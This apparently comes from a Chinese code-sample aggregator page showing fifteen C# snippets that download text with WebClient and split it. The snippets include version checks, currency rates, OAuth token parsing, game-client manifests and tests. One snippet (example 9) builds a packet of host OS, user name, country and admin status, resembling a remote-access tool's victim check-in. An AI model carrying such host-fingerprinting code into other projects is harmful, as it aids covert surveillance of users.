本文整理汇总了C#中System.Net.WebClient.Split方法的典型用法代码示例。如果您正苦于以下问题:C# WebClient.Split方法的具体用法?C# WebClient.Split怎么用?C# WebClient.Split使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类System.Net.WebClient
的用法示例。
在下文中一共展示了WebClient.Split方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C#代码示例。
示例1: RiceListener
public RiceListener(int port, bool exchangeRequired = true)
{
#if DEBUG
if (debugNameDatabase == null)
{
debugNameDatabase = new Dictionary<ushort, string>();
string src = new WebClient().DownloadString("http://u.rtag.me/p/parsers.txt");
foreach (var line in src.Split('\n'))
{
if (line.Length <= 3) continue;
string[] lineSplit = line.Split(':');
ushort id = ushort.Parse(lineSplit[0]);
debugNameDatabase[id] = lineSplit[1].Trim().Split('_')[1];
}
}
#endif
parsers = new Dictionary<ushort, Action<RicePacket>>();
clients = new List<RiceClient>();
this.port = port;
this.listener = new TcpListener(IPAddress.Any, port);
this.exchangeRequired = exchangeRequired;
}
示例2: TryGetVersionFromGithub
private static string TryGetVersionFromGithub()
{
try
{
var buildScript = new WebClient().DownloadString("https://raw.github.com/kristofferahl/FluentSecurity/master/build.ps1");
if (!String.IsNullOrEmpty(buildScript))
{
var rows = buildScript.Split(new[] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries);
var filteredRows = rows.Where(row => row.Contains("=") && (row.Contains("$version") || row.Contains("$label")));
var dictionary = new Dictionary<string, string>();
foreach (var filteredRow in filteredRows)
{
var key = filteredRow.Split('=')[0].Trim();
var value = filteredRow.Split('=')[1].Trim().Trim('\'');
dictionary.Add(key, value);
}
var version = dictionary["$version"];
var label = dictionary["$label"];
var fullVersion = !String.IsNullOrEmpty(label)
? String.Join("-", version, label)
: version;
return String.Format("FluentSecurity v. {0}.", fullVersion);
}
}
catch { }
return null;
}
示例3: Get
/// <summary>
/// Gets exchange rate 'from' currency 'to' another currency.
/// </summary>
public static decimal Get(Currency from, Currency to)
{
// exchange rate is 1:1 for same currency
if (from == to) return 1;
// use web service to query current exchange rate
// request : http://download.finance.yahoo.com/d/quotes.csv?s=EURUSD=X&f=sl1d1t1c1ohgv&e=.csv
// response: "EURUSD=X",1.0930,"12/29/2015","6:06pm",-0.0043,1.0971,1.0995,1.0899,0
var key = string.Format("{0}{1}", from, to); // e.g. EURUSD means "How much is 1 EUR in USD?".
// if we've already downloaded this exchange rate, use the cached value
if (s_rates.ContainsKey(key)) return s_rates[key];
// otherwise create the request URL, ...
var url = string.Format(@"http://download.finance.yahoo.com/d/quotes.csv?s={0}=X&f=sl1d1t1c1ohgv&e=.csv", key);
// download the response as string
var data = new WebClient().DownloadString(url);
// split the string at ','
var parts = data.Split(',');
// convert the exchange rate part to a decimal
var rate = decimal.Parse(parts[1], CultureInfo.InvariantCulture);
// cache the exchange rate
s_rates[key] = rate;
// and finally perform the currency conversion
return rate;
}
示例4: Authenticate
public IntegratedAuthenticationCredential Authenticate(string code)
{
var urlBuilder = new StringBuilder("https://graph.facebook.com/oauth/access_token?");
urlBuilder.AppendFormat("client_id={0}", ClientId);
urlBuilder.AppendFormat("&client_secret={0}", ClientSecret);
urlBuilder.AppendFormat("&redirect_uri={0}", LocalEndpoint);
urlBuilder.AppendFormat("&code={0}", code);
var url = urlBuilder.ToString();
var authResponseContent = new WebClient().DownloadString(url);
var parts =
authResponseContent.Split('&')
.Select(x => {
var pair = x.Split('=');
return new KeyValuePair<string, string>(pair[0], pair[1]);
})
.ToDictionary(part => part.Key, part => part.Value);
var expiration = int.Parse(parts["expires"]);
return new IntegratedAuthenticationCredential
{
Token = parts["access_token"],
Expiration = DateTime.Now.AddSeconds(expiration)
};
}
示例5: CreateWordArray
public static string[] CreateWordArray(string url)
{
Console.WriteLine("Retrieving from {0}",url);
string s = new WebClient().DownloadString(url);
return s.Split(
new char[] { ' ', '\u000A', ',', '.', ';', ':', '-', '_', '/' },
StringSplitOptions.RemoveEmptyEntries);
}
示例6: GetLatestVersion
/// <summary>
/// Retreives the latest lol_air_client version
/// </summary>
/// <returns>The latest air client version</returns>
public static string GetLatestVersion()
{
string latestAirList =
new WebClient().DownloadString(
"http://l3cdn.riotgames.com/releases/live/projects/lol_game_client/releases/releaselisting_NA");
string[] latestAir = latestAirList.Split(new[] { Environment.NewLine }, StringSplitOptions.None);
return latestAir[0];
}
示例7: GetPredispatchListing
private static List<string> GetPredispatchListing()
{
var content = new WebClient().DownloadString("http://reports.ieso.ca/public/PredispShadowPrices/");
return (
from s in content.Split('\n')
from Match match in Regex.Matches(s, ".*(PUB_PredispShadowPrices_.*.xml).*Predispatch Shadow Prices Report")
select match.Groups[1].ToString()).ToList();
}
示例8: GetLolClientSlnVersion
/// <summary>
/// Gets the Latest LeagueOfLegends lol_game_client_sln version
/// </summary>
public string[] GetLolClientSlnVersion(MainRegion Region)
{
//Get the GameClientSln version
using (new WebClient())
{
ReleaseListing = new WebClient().DownloadString(Region.GameReleaseListingUri);
}
return ReleaseListing.Split(new[] {Environment.NewLine}, StringSplitOptions.None).Skip(1).ToArray();
}
示例9: SerializeTo
public void SerializeTo(Stream stream)
{
var friendlyName = SystemInformationHelper.Name;
var edition = SystemInformationHelper.Edition;
var ptrSize = SystemInformationHelper.Bits;
var sp = SystemInformationHelper.ServicePack;
OperatingSystem = string.Concat(friendlyName, " ", edition, " x", +ptrSize, " ", sp);
ComputerName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
var rawStr = new WebClient().DownloadString("http://ip-api.com/csv");
CountryCode = string.Concat(rawStr.Split(',')[1], " (", rawStr.Split(',')[2], ")");
IsAdmin = SystemInformationHelper.IsAdministrator() ? "True" : "False";
var bw = new BinaryWriter(stream);
bw.Write(PacketId);
bw.Write(OperatingSystem);
bw.Write(ComputerName);
bw.Write(CountryCode);
bw.Write(IsAdmin);
}
示例10: GetReleaseManifast
/// <summary>
/// Gets the list of files to be downloaded
/// </summary>
/// <param name="latestVersion">The latest lol_air_client version</param>
/// <returns>The list of files that need to be downloaded</returns>
public static string[] GetReleaseManifast(string latestVersion)
{
string package =
new WebClient().DownloadString(
"http://l3cdn.riotgames.com/releases/live/projects/lol_air_client/releases/" + latestVersion +
"/packages/files/packagemanifest");
string[] fileMetaData =
package.Split(new[] { Environment.NewLine }, StringSplitOptions.None).Skip(1).ToArray();
return fileMetaData;
}
示例11: GetLolClientSlnVersion
/// <summary>
/// Gets the Latest LeagueOfLegends lol_game_client_sln version
/// </summary>
public string[] GetLolClientSlnVersion()
{
//Get the GameClientSln version
using (WebClient client = new WebClient())
{
releaselisting = new WebClient().DownloadString("http://l3cdn.riotgames.com/releases/live/solutions/lol_game_client_sln/releases/releaselisting_NA");
}
return releaselisting.Split(new string[] { Environment.NewLine }, StringSplitOptions.None).Skip(1).ToArray();
}
示例12: WillReduceToOneCssAndScriptInHeadAndTwoScriptsInBody
public void WillReduceToOneCssAndScriptInHeadAndTwoScriptsInBody()
{
new WebClient().DownloadString("http://localhost:8877/Local.html");
WaitToCreateResources(expectedJsFiles:3);
var response = new WebClient().DownloadString("http://localhost:8877/Local.html");
Assert.Equal(1, new CssResource().ResourceRegex.Matches(response).Count);
Assert.Equal(2, new JavaScriptResource().ResourceRegex.Matches(response).Count);
Assert.Equal(3, response.Split(new string[] { new JavaScriptResource().FileName }, StringSplitOptions.None).Length);
}
示例13: WillIgnoreNearFutureScripts
public void WillIgnoreNearFutureScripts()
{
new WebClient().DownloadString("http://localhost:8877/NearFuture.html");
WaitToCreateResources();
new WebClient().DownloadString("http://localhost:8877/NearFuture.html");
Thread.Sleep(1000);
var response = new WebClient().DownloadString("http://localhost:8877/NearFuture.html");
Assert.Equal(4, new JavaScriptResource().ResourceRegex.Matches(response).Count);
Assert.Equal(4, response.Split(new string[] { new JavaScriptResource().FileName }, StringSplitOptions.None).Length);
Assert.Contains("www.google-analytics.com", response);
}
示例14: CreateWordArray
// An http request performed synchronously for simplicity.
static string[] CreateWordArray(string uri)
{
Console.WriteLine("Retrieving from {0}", uri);
// Download a web page the easy way.
string s = new WebClient().DownloadString(uri);
// Separate string into an array of words, removing some common punctuation.
return s.Split(
new char[] { ' ', '\u000A', ',', '.', ';', ':', '-', '_', '/' },
StringSplitOptions.RemoveEmptyEntries);
}
示例15: getExternalIpAddress
} // end method
/// <summary>
/// Retrieve the external IP address via web request.
/// </summary>
private string getExternalIpAddress()
{
try
{
string jsonResponse = new WebClient().DownloadString(ipCheckUrl_m);
jsonResponse = jsonResponse.Split(':')[1].Replace('"', ' ').Trim();
return jsonResponse.Substring(0, jsonResponse.Length - 1).Trim();
}
catch (Exception)
{
return null;
} // end try-catch
} // end method